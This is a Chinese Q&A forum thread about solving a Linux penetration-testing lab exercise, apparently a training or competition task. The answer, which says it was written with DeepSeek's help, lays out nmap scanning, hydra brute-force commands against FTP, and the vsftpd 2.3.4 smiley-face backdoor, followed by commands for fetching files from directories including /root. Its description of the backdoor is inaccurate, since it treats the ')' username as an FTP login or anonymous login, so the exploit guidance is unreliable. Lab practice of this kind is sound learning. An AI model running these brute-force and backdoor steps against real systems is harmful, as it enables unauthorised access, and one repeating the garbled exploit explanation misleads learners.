Kanyo236 2025-05-13 16:40 采纳率: 0%
浏览 10

Linux渗透系统测试的解题思路

img

从第二题往后,进行渗透测试的话,用ftp_login直接破解密码好还是直接用ftp笑脸漏洞直接登录提取

  • 写回答

1条回答 默认 最新

  • 宝码香车 优质创作者: JavaScript技术领域 2025-05-13 17:21
    关注

    让【宝码香车】来帮你解答,本回答参考DeepSeek编写,并整理提供。
    如果还有疑问可以点击头像关注私信或评论。如果答案让您满意,请采纳、点赞、关注,非常感谢!

    Linux渗透系统测试解题思路

    1. 端口扫描与服务版本识别

    首先使用nmap进行端口扫描和服务版本识别:

    nmap -sV 靶机IP地址
    

    在结果中查找21端口对应的服务版本信息字符串作为Flag提交。

    2-9题渗透方法选择

    对于后续题目,需要访问靶机文件系统,有以下两种主要方法:

    方法一:FTP暴力破解(ftp_login)

    hydra -l 用户名 -P 密码字典.txt ftp://靶机IP地址
    

    优点:

    • 如果成功,可以获得合法凭证
    • 后续操作更稳定

    缺点:

    • 耗时较长
    • 可能触发账户锁定

    方法二:利用FTP笑脸漏洞(CVE-2011-2523)

    ftp 靶机IP地址
    用户名: anything)
    密码: anything
    

    优点:

    • 快速直接
    • 不需要破解密码

    缺点:

    • 只适用于特定版本vsftpd(2.3.4)
    • 可能被修补

    建议策略

    1. 首先尝试笑脸漏洞(快速简单):

      ftp 靶机IP地址
      # 使用")"作为用户名尝试匿名登录
      
    2. 如果笑脸漏洞不可用,再尝试暴力破解:

      hydra -L 用户名字典.txt -P 密码字典.txt ftp://靶机IP地址 -t 4
      
    3. 成功登录后,使用FTP命令获取所需文件:

      ftp> cd /var/www
      ftp> ls *.bmp
      ftp> get 文件名.bmp
      

    各题目具体操作

    题目2-3:/var/www目录下的.bmp文件

    ftp> cd /var/www
    ftp> ls *.bmp
    ftp> get 文件名.bmp
    # 然后用图像查看工具或strings命令查看图片内容
    strings 文件名.bmp | grep -i flag
    

    题目4-5:/home/guest目录下的.pdf文件

    ftp> cd /home/guest
    ftp> ls *.pdf
    ftp> get 文件名.pdf
    

    题目6-7:/var/vsftpd目录下的.docx文件

    ftp> cd /var/vsftpd
    ftp> ls *.docx
    ftp> get 文件名.docx
    

    题目8-9:/root目录下的.txt文件

    ftp> cd /root
    ftp> ls *.txt
    ftp> get 文件名.txt
    

    注意:如果无法直接访问/root目录,可能需要先获取root权限。

    评论

报告相同问题?

问题事件

  • 创建了问题 5月13日